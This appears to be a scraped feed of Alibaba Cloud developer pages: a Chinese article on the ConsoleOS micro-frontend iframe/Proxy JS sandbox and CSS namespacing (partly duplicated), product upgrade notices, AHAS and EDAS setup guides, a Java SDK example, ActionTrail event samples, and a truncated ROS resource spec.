      只有同域的 iframe 才能取出对应的的 contentWindow. 所以需要提供一个宿主应用空的同域URL来作为这个 iframe 初始加载的 URL. 当然根据 HTML 的规范 这个 URL 用了 about:blank 一定保证保证同域,也不会发生资源加载,但是会发生关联的 和 这个iframe 中关联的 history 不能被操作,这个时候路由的变换只能变成 hash 模式。

      如下图所示,我们取出对应的 iframe 中原生的对象之后,就会对特定需要隔离的对象生成对应的 Proxy, 然后对一些属性获取和属性设置,坐上一些特定的设置,比如 window.document 需要返回特定的沙箱 document 而不是当前浏览器的document.

      class Window {
          constructor(options, context, frame) {
            return new Proxy(frame.contentWindow, {
              set(target, name, value) {
                target[name] = value;
              return true;
            },
            
            get(target, name) {
                switch( name ) {
                case 'document':
                  return context.document;
                default:
              }
              
              if( typeof target[ name ] === 'function' && /^[a-z]/.test( name ) ){
                return target[ name ].bind && target[ name ].bind( target );
              }else{
                return target[ name ];
              }
            }
          });
        }
      }

      对于每一个对象的实现这里不讲细节了,有兴趣可以看看我们的开源之后的代码,点击前往>>>

      但是为了文档能够被加载在同一个 DOM 树上,对于 document, 大部分的 DOM 操作的属性和方法还是直接用的宿主浏览器中的 document 的属性和方法。

      由于子应用有自己的沙箱环境,之前所有独占式的资源现在都变成了应用独享(尤其是 location, history),所以子应用也能同时被加载. 并且对于一些变量的我们还能在 proxy 中设置一些访问权限的事情,从而限制子应用的能力,比如 Cookie, LocalStoage 读写。

      当这个 iframe 被移除时,写在 window 的变量和设置的一些 timeout 时间也会一并被移除。(当然 DOM 事件需要沙箱记录,然后在宿主中移除)。

      总结一下,我们的沙箱可以做到如下的特性:

      2.png

      CSS 隔离

      CSS 隔离方案相对来说比较常规,常见的有:
      • CSS Module
      • 添加 css 的 namespace
      • Dynamic StyleSheet
      • Shadow DOM

      CSS Module or CSS Namespace: 通过修改基础组件样式前缀来实现框架和微应用依赖基础组件样式的隔离性(依赖于工程上 CSS 的预处理器编译和运行时基础组件库配置),同时避免全局样式的书写(依赖于约定或工程 lint 手段)。

      Dynamic StyleSheet: 隔离方式是通过js运行时动态加载卸载微应用样式表来避免样式的冲突,局限性一是在于站点框架本身或其部件(header/menu/footer)与当前运行的微应用间仍存在样式冲突的可能性,二是没有办法支持多个微应用同时运行显示的情况。

      Shadow DOM: 优点是浏览器级别提供的样式隔离能力,可以做到完全隔离。缺点在于,目前兼容性还是够不太好,并且改造会涉及到旧应用的业务代码的改造,对子应用侵入性比较高。

      最终经过实践,我们选择的方式是 CSS Module + 添加 CSS 的 namespace。CSS module 保证的是应用业务样式不冲突,Namespace 保证公共库不冲突。我们实现了一个 postcss 插件,会在应用构建的时候给所有的样式都加上应用前缀包括应用公共库的 CSS。(这样方便做到同一个 组件库 新旧版本样式的兼容)。如下图所示:

      // 宿主 host app
      .next-btn {
          color: #eee;
      }
      
      // 子应用 sub app
      aliyun-slb .next-btn {
          color: #eee;
      }
      
      //宿主中生成的节点
      <aliyun-slb>
          <!-- 子应用的节点 -->
      </aliyun-slb>

      这样实现的好处在于:
      • 每个应用都有 namespace, 可以多实例共存。
      • 不依赖特定的 CSS 预处理器。
      • 对于同一个库不同版本的 CSS(如 fusion1 和 fusion2), 可以做到彻底隔离。
      • 鉴于上面 JS 沙箱的存在,对于一些弹窗类的组件,这个微应用获取的 body 实际上是宿主生成的节点,所以弹窗会被添加到微应用的节点(也就是上面的 aliyun-slb)这个节点,样式不会失效。

      不过也会有一些问题,比如:
      • 嵌套应用组件样式优先级的问题。(由于 CSS module 的存在,一般只会发生在公共 css 样式中,这个就是只能尽量避免嵌套)。
      • fusion 不同版本库公用字体的问题。(目前解法比较hack, 工程化手段替换掉了 next 字体的名字)。

      如何和其他体系结合

      一般来说,所以如果看完上面的文章,觉得这个沙箱方案不错,但是又有自己的微前端体系了,想套用咋办?

      目前 ConsoleOS 的代码已经在 Github 上开源这里不妨可以尝试试用一下,点击前往>>>

      JS 沙箱部分:
      如果看懂了上面关于原理的介绍可以看到其实沙箱实现包括两个层面

      • 原生浏览器对象的模拟(Browser-VM)的部分
      • 如何构建一个闭包环境的部分。

      Browser-VM 可以直接用起来,这部分完全是通用普适的。 但是涉及到闭包构建的这部分,每个微前端体系不太一致,可能需要改造比如:

      import { createContext, removeContext } from '@alicloud/console-os-browser-vm';
      
      const context = await createContext();
      
      const run = window.eval(`
        (() => function({window, history, locaiton, document}) {
          window.test = 1;
        })()
      `)
      run(context);
      
      console.log(context.window.test);
      console.log(window.test);
      
      // 操作虚拟化浏览器对象
      context.history.pushState(null, null, '/test');
      context.locaiton.hash = 'foo'
      
      // 销毁一个 context
      await removeContext( context );

      当然可以直接选择沙箱提供好的 evalScripts 方法:

      import { evalScripts } from '@alicloud/console-os-browser-vm';
      
      const context = evalScripts('window.test = 1;')
      
      console.log(window.test === undefined) // true

      CSS 沙箱
      如果用webpack 构建,可以直接配置如下:

      const postcssWrap = require('@alicloud/console-toolkit-plugin-os/lib/postcssWrap')
      
      // 下面是 webpack config
      {
        test: /.css$/,
        use: [
          'style-loader',
          {
            loader: 'postcss-loader',
            options: {
              plugins: [
                // 加入插件
                postcssWrap({
                    stackableRoot: '.prefix',
                    repeat: 1
                  })
              ],
            },
          },
          'css-loader',
        ],
        exclude: /^node_modules$/,
      }

      Try Live Demo

      与其干巴巴的看文章,直接试试在线 Demo 可能更有体感一些,或者试试生产环境的例子, 阿里云企业工作台 - 工具应用中心 , 是阿里云集成三方应用提供云管能力。这里每个应用都是一个微应用,里面涵盖了 React, Vue, Angular 三大技术栈。

      3.png

      ]]>
      如何“取巧”实现一个微前端沙箱?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

      背景

      应用沙箱可能是微前端技术体系里面最有意思的部分。一般来说沙箱是微前端技术体系中不是必须要做的事情,因为如果规范做的足够好,是能够避免掉一些变量冲突读写,CSS 样式冲突的情况。但是如果你在一个足够大的体系中,总不能仅仅通过规范来保证应用的可靠性,还是需要技术手段去治理运行时的一些冲突问题,这个也是沙箱方案成为微前端技术体系的一部分原因。

      首先纵观各类技术方案,有一个大前提决定了这个沙箱如何做:最终微应用是单实例 or 多实例存在宿主应用中。这个直接决定了这个沙箱的复杂度和技术方案。

      • 单实例:同一个时刻只有一个微应用实例存在,此刻浏览器所有浏览器资源都是这个应用独占的,方案要解决的很大程度是应用切换的时候的清理和现场恢复。比较轻量,实现起来也简单。
      • 多实例:资源不是应用独占,就要解决资源共享的情况,比如路由,样式,全局变量读写,DOM。可能需要考虑的情况比较多,实现较为复杂。

      最开始我们的想法是:

      从业务场景:我们可能存在的情况是当用户操作一个产品 A 的同时和另一个产品 B 发生了关联操作,需要唤醒应用 B 做操作。虽然从产品维度可以规避掉,比如先切到 B,然后切回 A,但是从某种程度上因为技术的原因,我们限制了产品交互的发挥。

      从技术角度:解决了多实例当然单实例的场景也不在话下,并且单实例的方案某种程度上给编码上带来了一定复杂度,比如业务代码需要自己做业务上下文的切换。

      最近 qiankun 2 也转变了思路,从单实例的支持到开始支持多实例,多多少少也侧面说明了,多实例是一个值得投入和技术攻克的场景。

      基于上面的考量,我们就开始了我们 Browser VM 沙箱的实现探索。总结起来可以用下图表示:

      image.png

      JavaScript 沙箱实现

      沙箱环境构造

      要实现沙箱,我们需要隔离掉浏览器的原生对象,但是如何隔离,建立一个沙箱环境呢?Node 中 有 vm 模块,来实现类似的能力,但是浏览器就不行了,但是我们可以利用闭包的能力、利用变量作用域去模拟一个沙箱环境,比如下面的代码:

      function foo(window) {
        console.log(window.document);
      }
      foo({
          document: {};
      });

      比如这段代码的输出一定是 {},而不是原生浏览器的 document。

      所以 ConsoleOS(面向阿里云管体系的微前端方案) 实现了一个 Wepback 的插件,在应用代码构建的时候给子应用代码加上一层 wrap 代码,创建一个闭包,把需要隔离的浏览器原生对象变成从下面函数闭包中获取,从而我们可以在应用加载的时候,传入模拟的 window、document 之类的对象。

      // 打包代码
      __CONSOLE_OS_GLOBAL_HOOK__(id, function (require, module, exports, {window, document, location, history}) {
        /* 打包代码 */
      })
      function __CONSOLE_OS_GLOBAL_HOOK__(id, entry) {
        entry(require, module, exports, {window, document, location, history})
      }

      当然也可以不靠工程化的手段来实现,也可以通过请求脚本,然后在运行时拼接这段代码,然后 eval 或者 new Function 来达到相同的目的。

      原生对象模拟

      沙箱隔离能力有了,剩下的问题就是如何实现这一堆浏览器的原生对象了。最开始的想法是我们根据 ECMA 的规范实现(现在仍然有类似的想法),但是发现成本太高。不过在我们各种实验之后,发现了一个很“取巧”的做法,我们可以 new iframe 对象,把里面的原生浏览器对象通过 contentWindow 取出来,因为这些对象天然隔离,就省去了自己实现的成本。

      const iframe = document.createElement( 'iframe' );

      当然里面有很多的细节需要考量,比如:只有同域的 iframe 才能取出对应的的 contentWindow。所以需要提供一个宿主应用空的同域 URL 来作为这个 iframe 初始加载的 URL。当然根据 HTML 的规范,这个 URL 用了 about:blank 一定保证同域,也不会发生资源加载,但是会发生和这个 iframe 中关联的 history 不能被操作,这个时候路由的变换只能变成 hash 模式。

      如下图所示,我们取出对应的 iframe 中原生的对象之后,就会对特定需要隔离的对象生成对应的 Proxy, 然后对一些属性获取和属性设置,做一些特定的设置,比如 window.document 需要返回特定的沙箱 document 而不是当前浏览器的 document。

      class Window {
          constructor(options, context, frame) {
          return new Proxy(frame.contentWindow, {
              set(target, name, value) {
              target[name] = value;
              return true;
            },
            
            get(target, name) {
              switch( name ) {
                case 'document':
                  return context.document;
                default:
              }
              
              if( typeof target[ name ] === 'function' && /^[a-z]/.test( name ) ){
                return target[ name ].bind && target[ name ].bind( target );
              }else{
                return target[ name ];
              }
            }
          });
        }
      }

      对于每一个对象的实现这里不讲细节了,有兴趣可以看看我们的开源之后的代码 :
      https://github.com/aliyun/alibabacloud-console-os/tree/master/packages/browser-vm

      但是为了文档能够被加载在同一个 DOM 树上,对于 document,大部分的 DOM 操作的属性和方法还是直接用的宿主浏览器中的 document 的属性和方法。

      由于子应用有自己的沙箱环境,之前所有独占式的资源现在都变成了应用独享(尤其是 location、history),所以子应用也能同时被加载。并且对于一些变量,我们还能在 proxy 中设置一些访问权限的事情,从而限制子应用的能力,比如 Cookie, LocalStoage 读写。

      当这个 iframe 被移除时,写在 window 的变量和设置的一些 timeout 时间也会一并被移除(当然 DOM 事件需要沙箱记录,然后在宿主中移除)。

      总结一下,我们的沙箱可以做到如下的特性:

      image.png

      CSS 隔离

      CSS 隔离方案相对来说比较常规,常见的有:

      • CSS Module
      • 添加 CSS 的 namespace
      • Dynamic StyleSheet
      • Shadow DOM

      CSS Module or CSS Namespace

      通过修改基础组件样式前缀来实现框架和微应用依赖基础组件样式的隔离性(依赖于工程上 CSS 的预处理器编译和运行时基础组件库配置),同时避免全局样式的书写(依赖于约定或工程 lint 手段)。

      Dynamic StyleSheet

      隔离方式是通过 JS 运行时动态加载卸载微应用样式表来避免样式的冲突,局限性一是对于站点框架本身或其部件(header/menu/footer)与当前运行的微应用间仍存在样式冲突的可能性,二是没有办法支持多个微应用同时运行显示的情况。

      Shadow DOM

      优点是浏览器级别提供的样式隔离能力,可以做到完全隔离。缺点在于,目前兼容性还是不太好,并且改造会涉及到旧应用的业务代码的改造,对子应用侵入性比较高。

      最终经过实践,我们选择的方式是 CSS Module + 添加 CSS 的 namespace。CSS module 保证的是应用业务样式不冲突,Namespace 保证公共库不冲突。我们实现了一个 postcss 插件,会在应用构建的时候给所有的样式都加上应用前缀包括应用公共库的 CSS(这样方便做到同一个 组件库新旧版本样式的兼容)。如下图所示:

      // 宿主 host app
      .next-btn {
          color: #eee;
      }
      // 子应用 sub app
      aliyun-slb .next-btn {
          color: #eee;
      }
      //宿主中生成的节点
      <aliyun-slb>
          <!-- 子应用的节点 -->
      </aliyun-slb>

      这样实现的好处在于:

      • 每个应用都有 namespace,可以多实例共存。
      • 不依赖特定的 CSS 预处理器。
      • 对于同一个库不同版本的 CSS(如 fusion1 和 fusion2),可以做到彻底隔离。
      • 鉴于上面 JS 沙箱的存在,对于一些弹窗类的组件,这个微应用获取的 body 实际上是宿主生成的节点,所以弹窗会被添加到微应用的节点(也就是上面的 aliyun-slb)这个节点,样式不会失效。

      不过也会有一些问题,比如:

      • 嵌套应用组件样式优先级的问题。由于 CSS module 的存在,一般只会发生在公共 CSS 样式中,这个就是只能尽量避免嵌套。
      • fusion 不同版本库公用字体的问题。目前的解决办法:比较 hack,使用工程化的手段替换掉 next 字体的名字。

      如何和其他体系结合

      如果看完上面的文章,觉得这个沙箱方案不错,但是又已经有自己的微前端体系了,想套用咋办?

      目前 ConsoleOS 的代码已经在 Github 上开源:
      http://github.com/aliyun/alibabacloud-console-os,这里不妨可以尝试试用一下。

      JS 沙箱部分

      如果看懂了上面关于原理的介绍可以看到其实沙箱实现包括两个层面:

      • 原生浏览器对象的模拟(Browser-VM)
      • 如何构建一个闭包环境

      Browser-VM 可以直接用起来,这部分完全是通用普适的。但是涉及到闭包构建的这部分,每个微前端体系不太一致,可能需要改造,比如:

      import { createContext, removeContext } from '@alicloud/console-os-browser-vm';
      const context = await createContext();
      const run = window.eval(`
        (() => function({window, history, locaiton, document}) {
          window.test = 1;
        })()
      `)
      run(context);
      console.log(context.window.test);
      console.log(window.test);
      // 操作虚拟化浏览器对象
      context.history.pushState(null, null, '/test');
      context.locaiton.hash = 'foo'
      // 销毁一个 context
      await removeContext( context );

      当然可以直接选择沙箱提供好的 evalScripts 方法:

      import { evalScripts } from '@alicloud/console-os-browser-vm';
      const context = evalScripts('window.test = 1;')
      console.log(window.test === undefined) // true

      CSS 沙箱

      如果用 Webpack 构建,可以直接配置如下:

      const postcssWrap = require('@alicloud/console-toolkit-plugin-os/lib/postcssWrap')
      // 下面是 webpack config
      {
        test: /.css$/,
        use: [
          'style-loader',
          {
            loader: 'postcss-loader',
            options: {
              plugins: [
                // 加入插件
                postcssWrap({
                  stackableRoot: '.prefix',
                  repeat: 1
                  })
              ],
            },
          },
          'css-loader',
        ],
        exclude: /^node_modules$/,
      }

      Try Live Demo

      与其干巴巴的看文章,直接试试在线 Demo 可能更有体感一些:
      http://github.com/aliyun/alibabacloud-console-os#try-live-demo

      或者试试生产环境的例子, 阿里云企业工作台 - 工具应用中心 (http://work.console.aliyun.com/), 为阿里云集成三方应用提供云管能力。这里每个应用都是一个微应用,里面涵盖了 React、 Vue、Angular 三大技术栈。

      image.png

      重磅下载《2020 前端工程师必读手册》
      image.png

      阿里巴巴前端委员会推荐!覆盖语言框架、前端智能化、微前端、Serverless 及工程化 5 大热点前端技术方向、10+ 核心实战的前端手册,解锁前端新方式,挖掘前端新思路,尽在此刻,赶紧来先睹为快!

      识别下方二维码立即下载:
      image.png

      ]]>
      【升级】5月15日DDoS高防升级通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【DDoS高防(国际)】【升级通知】

      升级窗口:北京时间 2020年5月15日 01:00- 05:00

      升级内容:DDoS高防进行网络升级操作
      升级影响:升级期间,部分IP需要重新连接,会导致TCP连接闪断2次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】5月20日Datahub升级通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【Datahub】【升级通知】

      升级窗口:北京时间2020年5月20日 10:00 - 19:00

      升级区域:华北,华南,华东,新加坡,吉隆坡,孟买,法国

      升级版本:v2.16

      升级内容:

      新版本2.16主要特性:

      1、支持同步数据到hologress

      2、支持kafka sdk写入数据到datahub

      升级影响:升级期间,会出现短暂的请求失败重试,属于正常现象,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      快速接入 ECS_接入应用_架构感知_应用高可用服务 AHAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 快速接入 ECS

      更新时间:2020-02-12 22:37:35

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      AHAS 架构感知支持在 ECS 上一键安装 AHAS 探针,可以快速开始使用架构感知功能,直观地查看应用对基础架构的依赖关系,以及组件间的依赖关系。

      前提条件

      确保待安装探针的 ECS 系统为 Linux。

      操作步骤

      1. 登录 AHAS 控制台
      2. 在顶部导航栏选择 ECS 所在地域。

        说明 已开通的地域包括北京、杭州、上海、深圳,其他地域陆续开放中;目前,其他地域的阿里云 ECS 主机可以通过公网地域接入,接入方式可参考普通 Linux 主机接入

      3. (可选)在概览页面左上角的下拉列表中单击添加环境,并在添加环境对话框中填写环境名称。

        说明 每个地域会有一个默认(Default)环境。您也可以添加自定义环境,如开发环境、测试环境等。不同环境的资源逻辑隔离。

        添加环境
      4. 在 AHAS 控制台左侧导航栏中单击探针管理,然后在探针管理页面右上角单击安装架构感知探针
      5. 选择环境页面单击阿里云 ECS选择环境
      6. 安装应用高可用探针页面安装探针。
        • 若为单台主机安装探针,在目标主机右侧操作列单击单击安装
        • 若为多台主机批量安装探针,请勾选目标主机并在页面左下角单击批量安装
        安装探针
      7. 单击下一步,查看已安装的探针。
      8. 单击完成

      结果验证

      接入成功后,在探针管理页面将展示接入的主机信息,在 架构感知 > 架构地图页面将显示已接入应用的系统架构。

      后续操作

      接入成功后,您可以执行操作:

      ]]> 在 IntelliJ IDEA 中使用 Cloud Toolkit 快速部署应用至 ECS 集群_使用工具部署应用_应用部署_ECS集群用户指南_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 在 IntelliJ IDEA 中使用 Cloud Toolkit 快速部署应用至 ECS 集群

      更新时间:2020-04-16 20:09:17

      本页目录

      您在本地完成应用的开发、调试和测试后,可以在 IntelliJ IDEA 中安装 Cloud Toolkit 插件将应用快速部署到 EDAS 中。本文档将介绍如何在 IntelliJ IDEA 中安装 Cloud Toolkit,并快速部署应用到 EDAS 的 ECS 集群。

      前提条件

      步骤一:安装 Cloud Toolkit

      1. 启动 IntelliJ IDEA。
      2. 在 IntelliJ IDEA 中安装最新版本的插件。

        如果您之前已安装过旧版安装包,请升级至最新版本。

        • Mac 系统:进入 Preference 配置页面,选择左边的 Plugins,在右边的搜索框里输入 Alibaba Cloud Toolkit ,并单击Install 安装。安装 Alibaba Cloud Toolkit(Mac)
        • Windows 系统:进入 Plugins 选项,搜索 Alibaba Cloud Toolkit,并单击 Install 安装。安装 Alibaba Cloud Toolkit(Windows)
      3. 在 IntelliJ IDEA 中插件安装成功后,重启 IntelliJ IDEA,您可以在工具栏看到 Alibaba Cloud Toolkit 的图标(Alibaba Cloud Toolkit)。

      步骤二:配置 Access Key ID 和 Access Key Secret

      在安装完 Alibaba Cloud Toolkit 后,您需使用 Access Key ID 和 Access Key Secret 来配置 Cloud Toolkit 的账号。

      1. 启动 IntelliJ IDEA。
      2. 单击 Alibaba Cloud Toolkit 的图标(Alibaba Cloud Toolkit),在下拉列表中单击 Preference…,进入设置页面,在左侧导航栏选择Alibaba Cloud Toolkit > Accounts
      3. Accounts 界面中设置 Access Key IDAccess Key Secret,然后单击 OK

        注意

        1. 如果您使用子账号的 Access Key ID 和 Access Key Secret,请确认该子账号至少拥有部署应用的权限,具体操作方法请参见常见问题:应用列表获取不到应用
        2. 如果您是 EDAS 专有云企业版用户,还需配置 Endpoint 才能正常使用 Cloud Toolkit 功能。

        配置 AccessKey
        • 如果您已经注册过阿里云账号,在 Accounts 界面中单击 Get existing AK/SK,进入阿里云登录页面。用已有账号登录后,跳转至安全信息管理页面,获取 Access Key IDAccess Key Secret
        • 如果您还没有阿里云账号,在 Accounts 界面中单击 Sign up,进入阿里云账号注册页面,注册账号。注册完成后按照上述方式获取 Access Key IDAccess Key Secret

      步骤三:部署应用到 ECS 集群或 Swarm 集群

      1. 在 IntelliJ IDEA 上单击 Cloud Toolkit 的图标(Alibaba Cloud Toolkit),在下拉列表中选择Deploy to EDAS > EDAS for ECS Application

        或在 IntelliJ IDEA 上打开 Run/Debug configurations 对话框,展开 Templates选项,选择EDAS on Alibaba Cloud > EDAS configuration factory

      2. Deploy to EDAS 对话框配置应用部署参数。

        说明 如果您还没有在 EDAS 上创建应用,在对话框右上角单击 Create application on EDAS console…,跳转到 EDAS 控制台创建应用。

        edas-cloudtoolkit-idea-config-APP.png
        1. 在配置页面中根据您的实际需求选择应用的 RegionNamespaceApplicationGroup
          • Region:应用所在地域。
          • Namespace:应用所在命名空间。
          • Application:应用名称。
          • Group:应用分组。

          注意 如果在应用列表中获取不到应用,请参见常见问题:应用列表获取不到应用进行操作排查。

        2. 设置构建方式。
          • Maven Build:选择 Maven Build 方式来构建应用时,系统会默认添加一个 Maven 任务来构建部署包。
          • Upload File:选择 Upload File 方式来构建应用时,选择上传您的 WAR 包或者 JAR 包,然后进行部署。
        3. 设置应用的版本描述信息和分批部署信息。
          • Version:部署版本。
          • Description:部署信息描述。
          • Batch:分批数。如果您的应用有多个分组,并且在部署时选择部署全部分组,那么将会自动按照分组粒度来分批,Batch 值不用设置。
          • BatchWaitTime:分批部署等待时间,单位为分钟。

          注意 如果您的插件界面没有分批部署设置模块,请将您的插件升级至最新版本。

      3. 单击 Run 执行上面步骤的运行配置,IntelliJ IDEA 的 Console 区域会打印部署日志。您可以根据日志信息检查部署结果。

      步骤四:管理 Maven 构建任务

      在 IntelliJ IDEA 中安装的 Cloud Toolkit 内可以部署 Maven 的构建任务。您也可以在 Deploy to EDAS 的配置页面的 Before launch 区域来添加、删除、修改和移动 Maven 构建任务。

      Before launch

      在添加 Maven 构建任务编辑框中,您可以单击右侧的文件夹按钮选择当前工程的所有可用模块,并在 Command line 中编辑构建命令。

      Select Maven Goal

      部署多模块工程

      实际工作中碰到的大部分 Maven 工程都是多模块的,各个项目模块可以独立开发,其中某些模块又可能会使用到其他的一些模块的功能,这样的项目工程就是多模块工程。

      如果您的工程项目为 Maven 多模块工程并且想部署工程中的某子模块,那么需要保证 EDAS Deployment Configurations 页面中的 Before launch 中的 Maven 构建任务中最后一个任务为该子模块的构建任务。管理 Maven 构建任务的具体操作请参见步骤四:管理 Maven 构建任务

      例如一个 CarShop 工程存在以下示例的子模块:

      • itemcenter-api
      • itemcenter
      • detail

      其中 itemcenter 和 detail 为子模块,且都依赖于 itemcenter-api 模块,现在想部署 itemcenter 模块,只需要在配置页面中的 Before launch 中增加如下两个 Maven 任务。

      • 增加一个在父工程 carshop 中执行 mvn clean install 的 Maven 任务。
      • 增加一个在子模块 itemcenter 中执行 mvn clean package Maven 任务。

      专有云支持

      此插件可以在专有云曙光 V3.8.0 或更新版本使用,在使用前需要按照以下步骤在插件中配置 EDAS EndPoint。Endpoint 请联系 EDAS 技术支持获取。

      1. Preference (Filtered) 对话框的左侧导航栏中选择 Appearance & BehaviorEndpoint
      2. Endpoint 界面中设置 Endpoint,配置完成后,单击 Apply and Close

      常见问题:应用列表获取不到应用

      通常出现这种情况为使用子账号来部署应用,且子账号没有同步到 EDAS 系统或者没有进行正确授权,从而导致在应用列表下拉框中看不到应用。您可以通过 RAM 授权或 EDAS 子账号授权来确保子账号已经同步到 EDAS 并且得到授权。

      RAM 授权

      该授权方式可使子账号访问 EDAS 的所有资源。

      1. RAM 控制台左侧导航栏中选择人员管理 > 用户
      2. 用户页面上找到需要授权的子用户,单击操作列中的添加权限
      3. 添加权限面板的选择权限区域中,搜索 AliyunEDASFullAccess 权限,单击权限策略将其添加至右侧的已选择列表中,然后单击确定
      4. 添加权限授权结果页面上,查看授权信息摘要,并单击完成
      5. 使用主账号登录 EDAS 控制台,在左侧导航栏选择系统管理 > 子账号 ,单击子账号页面右上角的同步子账号

      EDAS 子账号授权

      该授权方式可使子账号细粒度授权访问 EDAS 的资源。

      1. 使用主账号登录 EDAS 控制台
      2. 在左侧导航栏选择系统管理 > 角色 ,单击角色页面右上角的创建角色
      3. 输入一个角色名称,在可选权限区域框中,选择应用管理 > 应用列表 > 基本信息 > 部署应用 ,单击添加将部署应用角色添加到已选权限,然后单击确定
      4. 在左侧导航栏选择系统管理 > 子账号 ,单击子账号页面右上角的同步子账号
      5. 选择需进行授权的子账号,在操作列单击管理角色,在左侧穿梭框中搜索并选择上面创建的角色,将该角色添加到右侧已选角色列表中,然后单击确定
      6. 选择需进行授权的子账号,在操作列单击授权应用,选择应用添加到右侧列表进行授权,然后单击确定

      问题反馈

      如果您在使用工具部署应用的过程中有任何疑问,欢迎您扫描下面的二维码加入钉钉群进行反馈。

      工具部署答疑群

      ]]> 获取ECS实例配置_云服务器ECS_调用示例_Java SDK-阿里云 Fri, 02 May 2025 09:39:04 +0800 获取ECS实例配置

      更新时间:2019-11-06 10:00:20

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本示例介绍如何使用Alibaba Cloud SDK for Java调用DescribeInstances接口获取ECS实例的配置信息,例如公网IP、ECS实例ID等。

      前提条件

      在使用本教程之前,请确保已完成以下操作:

      • 使用Alibaba Cloud SDK for Java,您需要一个阿里云账号和访问密钥(AccessKey)。 请在阿里云控制台中的AccessKey管理页面上创建和查看您的AccessKey。
      • 确保您已经安装了Alibaba Cloud SDK for Java,准确的SDK版本号,请参见 阿里云开发工具包(SDK)
        <dependencies>
            <!-- https://mvnrepository.com/artifact/com.aliyun/aliyun-java-sdk-core -->
            <dependency>
                <groupId>com.aliyun</groupId>
                <artifactId>aliyun-java-sdk-core</artifactId>
                <version>4.4.3</version>
            </dependency>
            <!-- https://mvnrepository.com/artifact/com.aliyun/aliyun-java-sdk-ecs-->
            <dependency>
                <groupId>com.aliyun</groupId>
                <artifactId>aliyun-java-sdk-ecs</artifactId>
                <version>4.17.4</version>
            </dependency>
        </dependencies>

      示例代码

      本文操作示例主要以代码形式体现,具体代码如下:

       import com.aliyuncs.profile.DefaultProfile;
       import com.aliyuncs.DefaultAcsClient;
       import com.aliyuncs.IAcsClient;
       import com.aliyuncs.exceptions.ClientException;
       import com.aliyuncs.exceptions.ServerException;
       import com.aliyuncs.ecs.model.v20140526.*;
       public class DescribeInstances {
           public static void main(String[] args) {        
              // 初始化请求参数
              DefaultProfile profile = DefaultProfile.getProfile(
                      "<your-region-id>", // 您的可用区ID
                      "<your-access-key-id>", // 您的AccessKey ID
                      "<your-access-key-secret>"); // 您的AccessKey Secret
               IAcsClient client = new DefaultAcsClient(profile);
               // 创建API请求并设置参数
               DescribeInstancesRequest request = new DescribeInstancesRequest();
               request.setPageSize(10);
               request.setConnectTimeout(5000); //设置连接超时为5000毫秒
               request.setReadTimeout(5000); //设置读超时为5000毫秒
               // 发起请求并处理应答或异常
               DescribeInstancesResponse response;
               try {
                   response = client.getAcsResponse(request);
                   for (DescribeInstancesResponse.Instance instance:response.getInstances()) {
                       System.out.println(instance.getImageId());
                       System.out.println(instance.getInstanceId());
                       System.out.println(instance.getPublicIpAddress());
                   }
               } catch (ServerException e) {
                   e.printStackTrace();
               } catch (ClientException e) {
                   e.printStackTrace();
               }             
           }
       }

      ]]> ECS_操作事件示例_历史事件管理_操作审计-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS

      更新时间:2020-03-14 21:18:14

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文为您提供几个ECS操作事件的相关示例。

      RAM用户通过控制台停止ECS实例

      {
          "apiVersion": "2014-05-26",
          "eventId": "f4788483-70fc-476b-839b-af5ed111****",
          "eventName": "StopInstance",
          "eventSource": "ecs-cn-hangzhou.aliyuncs.com",
          "eventTime": "2016-01-04T09:47:40Z",
          "eventType": "ApiCall",
          "eventVersion": "1",
          "recipientAccountId": "4****",
          "requestId": "275A832E-4C6A-47BE-A432-C18DDD79FDAB",
          "requestParameters": {
              "ForceStop": "true",
              "InstanceId": "i-22nyr****"
          },
          "serviceName": "Ecs",
          "sourceIpAddress": "42.120.XX.XX",
          "userAgent": "AliyunConsole",
          "userIdentity": {
              "type": "ram-user",
              "accountId": "4****",
              "principalId": "28815334868278****",
              "userName": "B**",
              "sessionContext": {
                  "attributes": {
                      "creationDate": "2016-01-04T09:47:40Z",
                      "mfaAuthenticated": "true"
                  }
              }
          }
      }
      			

      RAM用户通过SDK停止ECS实例

      {
          "apiVersion": "2014-05-26",
          "eventId": "e0cdf18f-e5ec-4c5f-b37c-99b608b9****",
          "eventName": "StopInstance",
          "eventSource": "ecs-cn-hangzhou.aliyuncs.com",
          "eventTime": "2016-01-04T09:47:40Z",
          "eventType": "ApiCall",
          "eventVersion": "1",
          "recipientAccountId": "4****",
          "requestId": "FC33D0AB-1C6B-4B4E-911D-E939122AA248",
          "requestParameters": {
              "ForceStop": "true",
              "InstanceId": "i-84udj****"
          },
          "serviceName": "Ecs",
          "sourceIpAddress": "42.120.XX.XX",
          "userAgent": "aliyuncli/2.0.6",
          "userIdentity": {
              "type": "ram-user",
              "accountId": "4****",
              "principalId": "28815334868278****",
              "userName": "B**",
              "accessKeyId": "IE8ITksrR3SD****"
          }
      }

      ]]> ALIYUN::ECS::JoinSecurityGroup_ECS_资源类型_资源编排-阿里云 Fri, 02 May 2025 09:39:04 +0800 ALIYUN::ECS::JoinSecurityGroup

      更新时间:2019-11-15 18:39:03

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      ALIYUN::ECS::JoinSecurityGroup类型用于将一个或多个ECS实例加入指定的安全组。

      语法

      {
        "Type": "ALIYUN::ECS::JoinSecurityGroup",
        "Properties": {
          "InstanceId": String,
          "InstanceIdList": List,
          "SecurityGroupId": String,
          "NetworkInterfaceList": List
        }
      }

      属性

      属性名称 类型 必须 允许更新 描述 约束
      SecurityGroupId String 安全组ID。 无。
      InstanceId String 需要加入安全组的ECS实例ID。 无。
      InstanceIdList List 需要加入安全组的多个ECS实例ID。 无。
      NetworkInterfaceList List 弹性网卡ID。 无。

      返回值

      Fn::GetAtt

      无。

      示例

      JSON格式

      {
